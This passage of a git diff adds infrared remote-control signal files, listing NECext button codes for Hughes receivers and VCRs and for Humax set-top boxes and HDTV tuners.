00 +command: 0C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0D 00 00 00 +# +name: action +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0E 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 13 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 15 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 18 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir new file mode 100644 index 000000000..4753cf5cb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: input +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 02 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 03 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 13 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 15 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 18 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 +# +name: dash +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 36 00 00 00 +# +name: turbo +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 5F 00 00 00 +# +name: interactive +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 60 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 61 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 62 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 64 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 65 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 70 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir new file mode 100644 index 000000000..7e8d1a6d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 02 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 03 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0D 00 00 00 +# +name: action +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0E 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 13 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 15 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 18 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/VCR/96,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/VCR/96,-1.ir new file mode 100644 index 000000000..96fff5bb6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/VCR/96,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: ENTER_/_100 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 06 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0F 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 17 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1F 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 41 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 42 00 00 00 +# +name: SHUTTLE_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 6C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 70 00 00 00 +# +name: SHUTTLE_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/VCR/97,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/VCR/97,-1.ir new file mode 100644 index 000000000..eff57af73 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/VCR/97,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: RECORD +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir new file mode 100644 index 000000000..20cf72834 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 03 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 04 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 05 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 06 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 07 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 08 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 09 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0E 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0F 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 10 00 00 00 +# +name: PIL_UPP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 11 00 00 00 +# +name: NSTER +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 12 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 13 00 00 00 +# +name: GER +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 14 00 00 00 +# +name: PIL_NER +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 15 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 18 00 00 00 +# +name: GUL +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1A 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1B 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1C 00 00 00 +# +name: N +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1E 00 00 00 +# +name: VOLYM+ +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1F 00 00 00 +# +name: VOLYM- +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 40 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 41 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 43 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 4D 00 00 00 +# +name: STOP_TEXT_/_WIDE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 4E 00 00 00 +# +name: G +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 65 00 00 00 +# +name: STOR_TEXT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 69 00 00 00 +# +name: TEXT_? +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 6A 00 00 00 +# +name: HALV_TEXT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 6C 00 00 00 +# +name: TEXT_ON_OFF +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir new file mode 100644 index 000000000..b36ed06a6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 03 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 04 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 05 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 06 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 07 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 08 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 09 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0C 00 00 00 +# +name: MENY +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0E 00 00 00 +# +name: P- +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 0F 00 00 00 +# +name: P+ +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 10 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 11 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 12 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 13 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 14 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 15 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 18 00 00 00 +# +name: RG_3_GUL +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1A 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1B 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1C 00 00 00 +# +name: N +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 1F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 40 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 41 00 00 00 +# +name: OPT+ +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 42 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 43 00 00 00 +# +name: SOUND? +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 45 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 49 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 4C 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 4E 00 00 00 +# +name: V-FORMAT +type: parsed +protocol: NECext +address: 00 10 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir new file mode 100644 index 000000000..ee2d53acc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 03 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 04 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 05 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 06 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 07 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 08 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 09 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0C 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0D 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 0F 00 00 00 +# +name: CH._LIST +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 10 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 11 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 12 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 13 00 00 00 +# +name: CURSOR_ENTER/OK +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 16 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 18 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 19 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 1A 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 1B 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 1D 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 40 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 41 00 00 00 +# +name: SIGNAL_METER +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 42 00 00 00 +# +name: CH._ADD/SKIP +type: parsed +protocol: NECext +address: 00 30 00 00 +command: 43 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir new file mode 100644 index 000000000..2fc39036e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 00 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 03 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 04 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 05 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 06 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 07 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 08 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 09 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 0A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 0C 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 0D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 0E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 10 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 11 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 12 00 00 00 +# +name: CURSOR_OK_/_LIST +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 13 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 14 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 15 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 16 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 17 00 00 00 +# +name: VOLUME_MUTE +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 18 00 00 00 +# +name: COLOR_3_YELLOW +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 1A 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 1B 00 00 00 +# +name: COLOR_1_RED +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 1C 00 00 00 +# +name: COLOR_2_GREEN +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 1D 00 00 00 +# +name: COLOR_4_BLUE +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 1E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 1F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 40 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 41 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 42 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 43 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 45 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 46 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 4C 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 4E 00 00 00 +# +name: V-FORMAT +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 4F 00 00 00 +# +name: TR_PLAY +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 60 00 00 00 +# +name: TR_REC +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 61 00 00 00 +# +name: TR_PAUSE +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 62 00 00 00 +# +name: TR_STOP +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 63 00 00 00 +# +name: TR_SCAN_>> +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 64 00 00 00 +# +name: TR_SCAN_<< +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 65 00 00 00 +# +name: TR_SKIP_<< +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 66 00 00 00 +# +name: TR_SKIP_>> +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 67 00 00 00 +# +name: BOK+ +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 6A 00 00 00 +# +name: BOK +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 6B 00 00 00 +# +name: TR_SLOW +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 6C 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 6D 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 6E 00 00 00 +# +name: MEDIA +type: parsed +protocol: NECext +address: 00 41 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir b/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir new file mode 100644 index 000000000..86b20f619 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 03 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 04 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 05 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 06 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 07 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 08 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 09 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 0A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 0C 00 00 00 +# +name: MENY +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 0E 00 00 00 +# +name: P- +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 0F 00 00 00 +# +name: P+ +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 10 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 11 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 12 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 13 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 14 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 15 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 49 00 00 +command: 18 00 00 00 +# +name: RG_GUL +type: parsed +protocol: NECext +address: 00 